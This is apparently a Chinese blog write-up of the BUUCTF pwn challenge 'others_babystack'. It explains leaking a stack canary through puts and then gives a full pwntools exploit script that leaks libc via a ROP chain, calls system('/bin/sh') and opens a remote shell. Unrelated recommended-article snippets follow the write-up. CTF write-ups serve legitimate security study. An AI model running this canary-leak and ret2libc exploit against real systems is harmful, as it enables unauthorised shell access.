一道泄露canary+rop常规的题。

  这道题让我学习到了,原来canary的最后一位是\x00,又因为是小端存储,所以在内存中我位置是在开头的。

  来,下载文件检查一下保护。

  

  开启了canary和nx保护,ida看一眼伪c代码。

  

  一个菜单类型的题,大概就是1是存储数据,2是输出数据,3是退出。puts函数输出是遇到\x00才停止输出,那么我们如果能够把canary的截断符覆盖,再输出,就会连canary输出来了,成功泄露了canary。接下来就是rop的常规操作了。这里我还犹豫泄露libc版本的时候需要返回跳到main函数,需不需要再泄露一次canary,后来发现canary的值没有变,这样我们就不用再费事了。贴一下exp啦!

  

 1 from pwn import *
2 import time
3
4 #p = process('./babystack')
5 p = remote('node3.buuoj.cn',27237)
6 elf = ELF('./babystack')
7 context.log_level = 'debug'
8
9 p.sendlineafter('> ','1')
10 p.sendline('a'*0x88)
11 p.sendlineafter('> ','2')
12 p.recvuntil('aaaa\n')
13 canary = u64(p.recv(7).rjust(8,'\x00'))
14 print 'canary-->' + hex(canary)
15 #leak canary
16
17 pop_rdi = 0x0400a93
18 puts_plt = elf.plt['puts']
19 puts_got = elf.got['puts']
20 main_addr = 0x0400908
21 p.sendlineafter('> ','1')
22 payload = 'a'*0x88 + p64(canary) + 'bbbbbbbb' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
23 p.sendline(payload)
24 p.recv()
25 p.sendlineafter('> ','3')
26 puts_addr = u64(p.recv(6).ljust(8,'\x00'))
27 print 'puts_addr-->' + hex(puts_addr)
28 #leak libc
29
30 sleep(1)
31 base_addr = puts_addr - 0x06f690
32 system_addr= base_addr + 0x045390
33 binsh_addr = base_addr + 0x18cd57
34 p.sendline('1')
35 payload = 'a'*0x88 + p64(canary) + 'bbbbbbbb' + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
36 p.sendline(payload)
37 sleep(1)
38 p.sendlineafter('> ','3')
39 p.interactive()
40 p.close()
41 #getshell

others_babystack的更多相关文章

  1. [BUUCTF]PWN——others_babystack

    others_babystack 附件 步骤: 例行检查,64位程序,开了挺多保护 本地试运行一下程序 64位ida载入,看main函数 1是read函数,存在栈溢出:2是puts函数,3退出 利用思 ...

随机推荐

  1. [Git专题] 环境搭建

    环境搭建 在正式使用 Git 之前,首先应当安装 Git 并完成一些基础配置,本章内容就教大家在 Ubuntu 和 CentOS 上安装 Git 的方法. 安装 Git 客户端 如果你使用的是基于 D ...

  2. 探索JavaScript执行机制

    前言 不论是工作还是面试,我们可能都经常会碰到需要知道代码的执行顺序的场景,所以打算花点时间彻底搞懂JavaScript的执行机制. 如果这篇文章有帮助到你,️关注+点赞️鼓励一下作者,文章公众号首发 ...

  3. [NOI2020] 超现实树

    我们定义链树为:在该树上的任意节点,左右子树大小的最小值小于2. 举个例子: 那么我们思考,链树显然可以在叶子节点任意替换成其他子树. 那么在主链上,我们可以做到生成任意深度大于主链长度的树. 反过来 ...

  4. 2021.9.30 Codeforces 中档题四道

    Codeforces 1528D It's a bird! No, it's a plane! No, it's AaParsa!(*2500) 考虑以每个点为源点跑一遍最短路,每次取出当前距离最小的 ...

  5. C++ and OO Num. Comp. Sci. Eng. - Part 2.

    本文参考自<C++ and Object-Oriented Numeric Computing for Scientists and Engineers>. 1. Basic Types ...

  6. 【7】基于NGS检测体系变异解读和数据库介绍

    目录 解读相关专业术语 体系变异解读规则 体系变异和用药解读流程 主要数据库介绍 解读相关专业术语 2个概念:胚系.体系突变 4种变异类型:SNV.Indel.融合/SV(大的易位/倒位/缺失).CN ...

  7. MySQL_集群

    管理节点:192.168.31.66 sql节点1+data1节点:192.168.31.42 sql节点2+data2节点:192.168.31.128 llll

  8. 日常Java 2021/10/6

    声明自定义异常 class zidingyiException extends Exception{}//定义自己的异常类 单继承 public class A  {} public class B ...

  9. 学习java 7.22

    学习内容: GridBagLayout GridBagLayout布局管理器的功能最强大,但也最复杂,与GridLayout布局管理器不同的是,在GridBagLayout布局管理器中,一个组件可以跨 ...

  10. A Child's History of England.47

    CHAPTER 13 ENGLAND UNDER RICHARD THE FIRST, CALLED THE LION-HEART In the year of our Lord one thousa ...